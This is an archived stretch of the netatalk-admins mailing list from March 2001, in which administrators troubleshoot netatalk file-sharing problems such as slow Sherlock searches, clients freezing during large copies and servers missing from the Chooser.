Received: from beta.tricity.wsu.edu (beta.tricity.wsu.edu [192.31.216.9])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA22981
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 14:44:00 -0500 (EST)
Received: from localhost (nightstalker.tricity.wsu.edu [192.31.216.23])
	by beta.tricity.wsu.edu (8.9.3/8.9.3) with ESMTP id LAA15559
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 11:43:58 -0800
Message-Id: <200103291943.LAA15559@beta.tricity.wsu.edu>
Date: Thu, 29 Mar 2001 11:43:58 -0800
Content-Type: multipart/alternative;
	boundary=Apple-Mail-1522473439-1
Mime-Version: 1.0 (Apple Message framework v387)
From: Richard Eisenman <richarde@tricity.wsu.edu>
To: Netatalk List <netatalk-admins@umich.edu>
X-Mailer: Apple Mail (2.387)
Subject: OS X and netatalk redux:


--Apple-Mail-1522473439-1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii


Compiling netatalk-1.4b2+asun2.1.4-pre37b with FLOCKS defined on my RH 
6.2 box solves my random file write problem, apparently.  Haven't had 
the chance to check it thoroughly  yet.

--Apple-Mail-1522473439-1
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=us-ascii


Compiling
<color><param>0000,0000,DEDE</param>netatalk-1.4b2+asun2.1.4-pre37b
with FLOCKS defined on my RH 6.2 box solves my random file write
problem, apparently.  Haven't had the chance to check it thoroughly 
yet.</color>
--Apple-Mail-1522473439-1--

From netatalk.administrators-errors@umich.edu  Thu Mar 29 15:32:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25790
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 15:32:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07587
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 15:32:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA07577
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 15:32:59 -0500 (EST)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA07551
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 15:32:57 -0500 (EST)
Received: from [205.232.131.4] (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id QAA16173
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 16:26:48 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 29 Mar 2001 15:32:33 -0500
Subject: Re: Sherlock from Mac OS 9 slow
From: Vic Landi <vic@mail.jamesltaylor.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6E90610.1F1E%vic@jamesltaylor.com>
In-Reply-To: <3AC353EA.BE8432E3@bmpsystems.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I've been looking for a solution as well, however I'm afraid there is not
one yet.  The problem is that the Mac OS uses a db to make the searches
faster (a hidden file that makes records on where everything is)  So when
you do a sherlock search on a netatalk server you actively search through
the directory tree, taking a lot of time.  Solutions to this have been
posed... These include the ext3 file system (if and when it comes out) and
rasierfs (this I'm unsure of)

However, from what I saw in the public beta of OS X, even that was slower,
but not as slow... could it be that apple has devised a way of their own?

Vic Landi 

> From: "Bernard M. Piller" <bernard@bmpsystems.com>
> Organization: bmp System Support - keep your systems running
> Reply-To: bernard@bmpsystems.com
> Date: Thu, 29 Mar 2001 17:25:30 +0200
> To: netatalk-admins@umich.edu
> Subject: Sherlock from Mac OS 9 slow
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 29 Mar 2001 10:34:45 -0500 (EST)
> 
> Hi,
> 
> I have a RedHat 6.2 Server running and while the server itself is very fast,
> Sherlock is extremly slow when doing searches from Mac OS 9 clients. The
> server volumes are large, with about 50GB of data on every drive.
> 
> I know there where problems with netatalk not supporting the FPCatSearch
> function which Sherlock uses.
> 
> Is this fixed in some version of netatalk out there on the net or does
> someone know another solution to this problem?
> 
> Bernard
> 
> -- 
> www.bmpsystems.com
> +43 664 336 9196


From netatalk.administrators-errors@umich.edu  Thu Mar 29 15:50:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26265
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 15:50:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA17093
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 15:50:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA17074
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 15:50:26 -0500 (EST)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA17013
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 15:50:23 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000013647 for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 22:52:18 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <p04310109b6e94bfa0989@[192.168.1.201]>
In-Reply-To: <3AC35DFB.347EC063@euc.de>
References: <3AC35DFB.347EC063@euc.de>
Date: Thu, 29 Mar 2001 22:49:03 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: clients freezing while copying
Content-Type: text/plain; charset="us-ascii"

At 18:08 Uhr +0200 29.03.2001, Mac Conin wrote:
>something strange her...
>
>my try-out of netatalk (version 1.4.99-5 from the Suse 7.1 distr. on an
>intel c667)
>seemed for the moment ok. Now that I'm testing stability with copying
>large amounts
>of files (~7.000 files with a total of approx. 200 MB) strange things
>are coming up.
>the first 500-600 files are going through as expected. After that the
>process comes
>more and more to a halt. It ends up with the clinet freezing (or nearly
>because the
>client is so busy trying to copy). When I'm killing the afpd on the
>server the
>clients' behaviour is normal again. Restarting the afpd and copying
>smallamounts of
>data is ok until I try to copy again larger numers of files
>
>Yes, I'm only using TCP - no ddp.
>
>I don't think its the network itself (the hardware) because the rst of the
>servers are working fine.
>
>Any help would be appreciated (I dont' wanna install another windoze...).
>
> 

Hi there...

- Dunno if this can help, but I had a very similar symptom on LinuxPPC with netatalk, and it turned out to be an IDE related problem.:
have a look at the kernel messages - in my case, the kernel was  telling

hdc: dma_intr: status=0x58 { DreiveReady SeekComplete DataRequest }
hdc: status timeout: status=0xd0 { Busy }
hdc: drive not ready for command
ide1: reset: success
often preceeded and / or followed by "lost interrupt".

When the ide bus got reset, DMA support was switched off too, thus netatalk became much slower as anything else accessing the disk.

For some times this ide went unnoticed, until the server began to panic and eventually crashed. And after restart, on that filesystem, we had a MESS and had to reformat it. No way of recovering anything.
Actually in my case (Power Macintosh G3 DT/266, Maxtor 40GB on /dev/hdc) I couldn't solve the problem. It seemed to get a lot better with hdparm /dev/hdc -d1 -m16 -k1 (so it kept the setting over resets), but my solution was to remove it from that server and serve that disk over a PC on ide0.

Anyway - for god's sake, hdparm is _the_ troubleshooter 4 most of disk-access related performance issues.... ;-)

- In another case I had on the same server, the server started getting slower after about 800MB transfer, then freezed at about 1 GB (actually fluctuating. at times, 300MB, at times, 1GB.).
Banning the network card of that particular client I was uploading from removed this problem (!!). I understood this when I saw that other clients (B/W G3, G4s, iMacs) were uploading seemlessly and fast.
I strongly reccommend to _ban_ any MacSense Fast Ethernet cards from Your network. The same model used to crash ASIP, too.

Note: At that time the interrupt problem described above had not been identified, so it could have been part of the cause, but this upload was actually occurring on another fs (/dev/hda).

.....regards,

:-)

Lorenzo


From netatalk.administrators-errors@umich.edu  Thu Mar 29 16:05:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA26646
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 16:05:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08706
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 16:05:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08678
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 16:05:12 -0500 (EST)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA08354
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 16:05:10 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000013650; Thu, 29 Mar 2001 23:07:17 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <p0431010bb6e951b762c8@[192.168.1.201]>
In-Reply-To: <B6E90610.1F1E%vic@jamesltaylor.com>
References: <B6E90610.1F1E%vic@jamesltaylor.com>
Date: Thu, 29 Mar 2001 23:04:55 +0200
To: Vic Landi <vic@mail.jamesltaylor.com>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Sherlock from Mac OS 9 slow
Cc: <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="us-ascii"

At 15:32 Uhr -0500 29.03.2001, Vic Landi wrote:
>I've been looking for a solution as well, however I'm afraid there is not
>one yet.  The problem is that the Mac OS uses a db to make the searches
>faster (a hidden file that makes records on where everything is)  So when
>you do a sherlock search on a netatalk server you actively search through
>the directory tree, taking a lot of time.  Solutions to this have been
>posed... These include the ext3 file system (if and when it comes out) and
>rasierfs (this I'm unsure of)


Hi!

I don't understand why a different filesystem should be needed.
I mean, _find_ works way faster than sherlock searches on netatalk - wouldn't it be possible to link to find or its library, or use its sources to implement a faster search?
I made some tests over a Perl CGI using find (plannig to make a sherlock plug-in with file:// urls), and though slower than sherlock-on-asip, it was very usable for what concerns the speed (on netatalk sherlock is unusable, let's face it - at least on volumes larger than 4GB).
Unfortunately, because my netatalk is not yet using codepages, I can't use this CGI yet (url / character conversion issues...).
If I get to finish it and it looks usable I can post that cgi here, but I'd prefer somebody could  implement something like find-in-netatalk......

:-)


Lorenzo


>However, from what I saw in the public beta of OS X, even that was slower,
>but not as slow... could it be that apple has devised a way of their own?
>
>Vic Landi
>
>> From: "Bernard M. Piller" <bernard@bmpsystems.com>
>> Organization: bmp System Support - keep your systems running
>> Reply-To: bernard@bmpsystems.com
>> Date: Thu, 29 Mar 2001 17:25:30 +0200
>> To: netatalk-admins@umich.edu
>> Subject: Sherlock from Mac OS 9 slow
>> Resent-From: netatalk-admins@umich.edu
>> Resent-Date: Thu, 29 Mar 2001 10:34:45 -0500 (EST)
>>
>> Hi,
>>
>> I have a RedHat 6.2 Server running and while the server itself is very fast,
>> Sherlock is extremly slow when doing searches from Mac OS 9 clients. The
>> server volumes are large, with about 50GB of data on every drive.
>>
>> I know there where problems with netatalk not supporting the FPCatSearch
>> function which Sherlock uses.
>>
>> Is this fixed in some version of netatalk out there on the net or does
>> someone know another solution to this problem?
>>
>> Bernard
>>
>> --
>> www.bmpsystems.com
>> +43 664 336 9196


From netatalk.administrators-errors@umich.edu  Thu Mar 29 16:15:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA27198
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 16:15:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12485
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 16:15:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12456
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 16:14:55 -0500 (EST)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA12370
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 16:14:52 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000013652 for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 23:17:05 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <p0431010cb6e9540beeb6@[192.168.1.201]>
In-Reply-To: <974B0191A4C6D31192D10090279CCC7B321B19@AMMINISTRAZIONE>
References: <974B0191A4C6D31192D10090279CCC7B321B19@AMMINISTRAZIONE>
Date: Thu, 29 Mar 2001 23:14:44 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Problem with more then one netatalk server
Content-Type: text/plain; charset="us-ascii"

At 18:25 Uhr +0200 29.03.2001, Scodeller Marco wrote:
> > Hello,
>> we have problem in using netatalk in the moment that there is more then
>> one netatalk server on the same network.
>> What happens is that in the chooser of the macintosh you can see and
>> connect only one of them.
>> How is it possible to solve this problem?
>> Regards.
>>
>> Scodeller Marco
>> HYPHEN- GROUP
>> HYPHEN- ITALIA * GRAPH-OS * ANY.COM * KEY ACCESS
>> Via A. de Gasperi, 17
>> 37013 Caprino Vr.se Verona - Italy
>> Phone +39 045 7242446
>> Fax +39 045 7242629
>> http://www.hyphen-italia.com
>> E-mail: scodeller.m@hyphen-italia.com
>>
>>

- do the servers have the same hostnames(!)?
- or do you have the same share name in all afpd.confs (maybe while copying the files across the servers)?
- or do some servers (especially those with more than one NIC) miss the ethX line in atalkd.conf?
- is atalkd started on those other machines....?

we have 3 netatalks on the same network and i can see all of them. All of them have the eth information stored in atalkd.conf - didn't show up otherwise.

....

if you can't get some servers to show up, either because they're on different physical networks or for any other reason, remember you can always 'advertise' those servers from the one that is visible, by adding -ipaddr servers in afpd.conf
(it is described clearly in the conf comments)

:-)



Lorenzo

From netatalk.administrators-errors@umich.edu  Thu Mar 29 16:20:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA27334
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 16:20:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA20436
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 16:20:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA20412
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 16:20:07 -0500 (EST)
Received: from mail.byte-productions.com (mail.byte-productions.com [12.32.73.213])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA20355
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 16:20:05 -0500 (EST)
Received: from [12.32.73.194] (byte-1.byte-productions.com [12.32.73.194])
	by mail.byte-productions.com (8.9.3/8.8.7) with ESMTP id QAA24933
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 16:20:06 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 29 Mar 2001 16:20:10 -0500
Subject: Re: Illustrator EPS files
From: Tom Barrons <tom@byte-productions.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6E9113A.E30%tom@byte-productions.com>
In-Reply-To: <B6E638F4.13157%bucky@interaccess.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Just an FYI.  I just spoke to a system administrator who does use AppleShare
IP Server.  He's using version 6.03 of that and he has about 6 artists in
their department using Illustrator 9.02 in regular production and they have
not experienced this problem.  Still don't have conclusive evidence that
it's an isssue in Illustator or netatalk.

>> From: Tom Barrons <tom@byte-productions.com>
>> Date: Tue, 27 Mar 2001 13:10:11 -0500
>> To: netatalk <netatalk-admins@umich.edu>
>> Subject: RE: Illustrator EPS files
>> Resent-From: netatalk-admins@umich.edu
>> Resent-Date: Tue, 27 Mar 2001 13:19:38 -0500 (EST)
>> 
>> Dan, Actually I don't think my trials indicate the problem is netatalk, it
>> might be Illustrator that has the problem.  As Alan suggested Adobe may have
>> mad a change in version 9 that is the culprit.  Since I don't own Apple's
>> AppleShare IP Server, I can't test it to verify either case.
>> 
>> I'm going to post my findings to Adobe and then keep an eye on their site to
>> see if they patch it cause I too would like this art department to us the
>> faster connection.  Which technically they can do by saving the file to
>> their local workstations and then copying it over the network to the server
>> (which I'd rather they did anyhow).
>> 
>> Though If it can be proven to be a netatalk issue it probably should be
>> added as a future feature to relieve frustration for network admins, because
>> as I can attest to it's hard to break the old bad habbits of an entire art
>> department.
>> 
>>> From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
>>> Date: Tue, 27 Mar 2001 10:54:15 -0600 (CST)
>>> To: Tom Barrons <tom@byte-productions.com>
>>> Cc: <netatalk-admins@umich.edu>
>>> Subject: Re: Illustrator EPS files
>>> 
>>> I would add this (ability to save EPS files via AppleShareIP) to the
>>> future feature list as using AppleShare IP is much faster than AppleShare
>>> itself.
>>> 
>>> Thanks for the info!
>>> 
>>> -Dan
>>> 
>> 


From netatalk.administrators-errors@umich.edu  Thu Mar 29 17:19:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA29157
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 17:19:56 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10211
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 17:19:49 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA10203
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 17:19:48 -0500 (EST)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA10182
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 17:19:47 -0500 (EST)
Received: from [205.232.131.4] (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id SAA16702
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 18:14:08 -0500
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 29 Mar 2001 17:19:52 -0500
Subject: Re: Sherlock from Mac OS 9 slow
From: Vic Landi <vic@mail.jamesltaylor.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6E91F37.1F29%vic@jamesltaylor.com>
In-Reply-To: <p0431010bb6e951b762c8@[192.168.1.201]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Problem is that _find_ is usually generated every night by cron... The mac
does it on the fly... if you wanted to repeat the process, you'd be choking
up a lot of time running the update every second...

Don't ask me about the file system thing... I'm just relating what I was
told the last time when I brought this up...

> From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
> Date: Thu, 29 Mar 2001 23:04:55 +0200
> To: Vic Landi <vic@mail.jamesltaylor.com>
> Cc: <netatalk-admins@umich.edu>
> Subject: Re: Sherlock from Mac OS 9 slow
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 29 Mar 2001 16:12:35 -0500 (EST)
> 
> At 15:32 Uhr -0500 29.03.2001, Vic Landi wrote:
>> I've been looking for a solution as well, however I'm afraid there is not
>> one yet.  The problem is that the Mac OS uses a db to make the searches
>> faster (a hidden file that makes records on where everything is)  So when
>> you do a sherlock search on a netatalk server you actively search through
>> the directory tree, taking a lot of time.  Solutions to this have been
>> posed... These include the ext3 file system (if and when it comes out) and
>> rasierfs (this I'm unsure of)
> 
> 
> Hi!
> 
> I don't understand why a different filesystem should be needed.
> I mean, _find_ works way faster than sherlock searches on netatalk - wouldn't
> it be possible to link to find or its library, or use its sources to implement
> a faster search?
> I made some tests over a Perl CGI using find (plannig to make a sherlock
> plug-in with file:// urls), and though slower than sherlock-on-asip, it was
> very usable for what concerns the speed (on netatalk sherlock is unusable,
> let's face it - at least on volumes larger than 4GB).
> Unfortunately, because my netatalk is not yet using codepages, I can't use
> this CGI yet (url / character conversion issues...).
> If I get to finish it and it looks usable I can post that cgi here, but I'd
> prefer somebody could  implement something like find-in-netatalk......
> 
> :-)
> 
> 
> Lorenzo
> 
> 
>> However, from what I saw in the public beta of OS X, even that was slower,
>> but not as slow... could it be that apple has devised a way of their own?
>> 
>> Vic Landi
>> 
>>> From: "Bernard M. Piller" <bernard@bmpsystems.com>
>>> Organization: bmp System Support - keep your systems running
>>> Reply-To: bernard@bmpsystems.com
>>> Date: Thu, 29 Mar 2001 17:25:30 +0200
>>> To: netatalk-admins@umich.edu
>>> Subject: Sherlock from Mac OS 9 slow
>>> Resent-From: netatalk-admins@umich.edu
>>> Resent-Date: Thu, 29 Mar 2001 10:34:45 -0500 (EST)
>>> 
>>> Hi,
>>> 
>>> I have a RedHat 6.2 Server running and while the server itself is very fast,
>>> Sherlock is extremly slow when doing searches from Mac OS 9 clients. The
>>> server volumes are large, with about 50GB of data on every drive.
>>> 
>>> I know there where problems with netatalk not supporting the FPCatSearch
>>> function which Sherlock uses.
>>> 
>>> Is this fixed in some version of netatalk out there on the net or does
>>> someone know another solution to this problem?
>>> 
>>> Bernard
>>> 
>>> --
>>> www.bmpsystems.com
>>> +43 664 336 9196


From netatalk.administrators-errors@umich.edu  Thu Mar 29 20:18:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA03823
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Mar 2001 20:18:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA19265
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Mar 2001 20:18:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA19260
	for netatalk.administrators-members@umich.edu; Thu, 29 Mar 2001 20:18:21 -0500 (EST)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id UAA19226
	for <netatalk-admins@umich.edu>; Thu, 29 Mar 2001 20:18:19 -0500 (EST)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000013673 for <netatalk-admins@umich.edu>; Fri, 30 Mar 2001 03:20:39 +0100
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <p0431010db6e970aaa837@[192.168.1.201]>
In-Reply-To: <B6E91F37.1F29%vic@jamesltaylor.com>
References: <B6E91F37.1F29%vic@jamesltaylor.com>
Date: Fri, 30 Mar 2001 03:18:18 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Sherlock from Mac OS 9 slow
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 17:19 Uhr -0500 29.03.2001, Vic Landi wrote:
>Problem is that _find_ is usually generated every night by cron... The mac
>does it on the fly... if you wanted to repeat the process, you'd be choking
>up a lot of time running the update every second...

You seem to be right. /usr/bin/finding on 60gigs of hds took 10 mins 
14 secs.. (G3  DT/ 266)
while OS9 on a G4 needs _20 secs_ on the same amount of data.  It 
looks like some kind of index is being made 'on the fly'...
But: the same search that took 46 secs with find -iname, took _25_ 
minutes with netatalk to complete (for 625 result items in 16 Gigs). 
that can't be true.
Find is terribly slow but, still, usable - waiting for one 
neta-search to complete  you get old.
It would still be an improvement x30 to implement find's methods...

on the other hand, as for alternatives: i think a combination of 
apache (Options Indexes et al.), htdig and a sherlock-plug-in might 
do a good job for content-based finding, that could partially ease 
the pain of not having decent name searches. I still don't know what 
Sherlock does with a link like file:///folder/file.... he might as 
well try to open it with a browser  and for sure there'll be no 'Open 
Enclosed Folder' option available. So it might also involve writing a 
small 'Neta-htdig-Sherlock....' or an app handling a 'special 
protocol' like netatalk://. In this case one could search with a 
browser and the link would then reveal (via a special app catching 
the appropriate event) the file.... yes, it's getting tricky.

;-!

Lorenzo

>Don't ask me about the file system thing... I'm just relating what I was
>told the last time when I brought this up...
>
>>  From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
>>  Date: Thu, 29 Mar 2001 23:04:55 +0200
>>  To: Vic Landi <vic@mail.jamesltaylor.com>
>>  Cc: <netatalk-admins@umich.edu>
>>  Subject: Re: Sherlock from Mac OS 9 slow
>>  Resent-From: netatalk-admins@umich.edu
>>  Resent-Date: Thu, 29 Mar 2001 16:12:35 -0500 (EST)
>>
>>  At 15:32 Uhr -0500 29.03.2001, Vic Landi wrote:
>>>  I've been looking for a solution as well, however I'm afraid there is not
>>>  one yet.  The problem is that the Mac OS uses a db to make the searches
>>>  faster (a hidden file that makes records on where everything is)  So when
>>>  you do a sherlock search on a netatalk server you actively search through
>>>  the directory tree, taking a lot of time.  Solutions to this have been
>>>  posed... These include the ext3 file system (if and when it comes out) and
>>>  rasierfs (this I'm unsure of)
>>
>>
>>  Hi!
>>
>>  I don't understand why a different filesystem should be needed.
>>  I mean, _find_ works way faster than sherlock searches on netatalk 
>>- wouldn't
>>  it be possible to link to find or its library, or use its sources 
>>to implement
>>  a faster search?
>>  I made some tests over a Perl CGI using find (plannig to make a sherlock
>>  plug-in with file:// urls), and though slower than sherlock-on-asip, it was
>>  very usable for what concerns the speed (on netatalk sherlock is unusable,
>>  let's face it - at least on volumes larger than 4GB).
>>  Unfortunately, because my netatalk is not yet using codepages, I can't use
>>  this CGI yet (url / character conversion issues...).
>>  If I get to finish it and it looks usable I can post that cgi here, but I'd
>>  prefer somebody could  implement something like find-in-netatalk......
>>
>>  :-)
>>
>>
>>  Lorenzo
>>
>>
>>>  However, from what I saw in the public beta of OS X, even that was slower,
>>>  but not as slow... could it be that apple has devised a way of their own?
>>>
>>>  Vic Landi
>>>
>>>>  From: "Bernard M. Piller" <bernard@bmpsystems.com>
>>>>  Organization: bmp System Support - keep your systems running
>>>>  Reply-To: bernard@bmpsystems.com
>>>>  Date: Thu, 29 Mar 2001 17:25:30 +0200
>>>>  To: netatalk-admins@umich.edu
>>>>  Subject: Sherlock from Mac OS 9 slow
>>>>  Resent-From: netatalk-admins@umich.edu
>>>>  Resent-Date: Thu, 29 Mar 2001 10:34:45 -0500 (EST)
>>>>
>>>>  Hi,
>>>>
>>>>  I have a RedHat 6.2 Server running and while the server itself 
>>>>is very fast,
>  >>> Sherlock is extremly slow when doing searches from Mac OS 9 clients. The
>  >>> server volumes are large, with about 50GB of data on every drive.
>>>>
>>>>  I know there where problems with netatalk not supporting the FPCatSearch
>>>>  function which Sherlock uses.
>>>>
>>>>  Is this fixed in some version of netatalk out there on the net or does
>>>>  someone know another solution to this problem?
>>>>
>>>>  Bernard
>>>>
>>>>  --
>>>>  www.bmpsystems.com
>>>>  +43 664 336 9196


From netatalk.administrators-errors@umich.edu  Fri Mar 30 05:08:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA14286
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Mar 2001 05:08:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA06933
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Mar 2001 05:08:34 -0500 (EST)
Received: (from daemon@localhost)
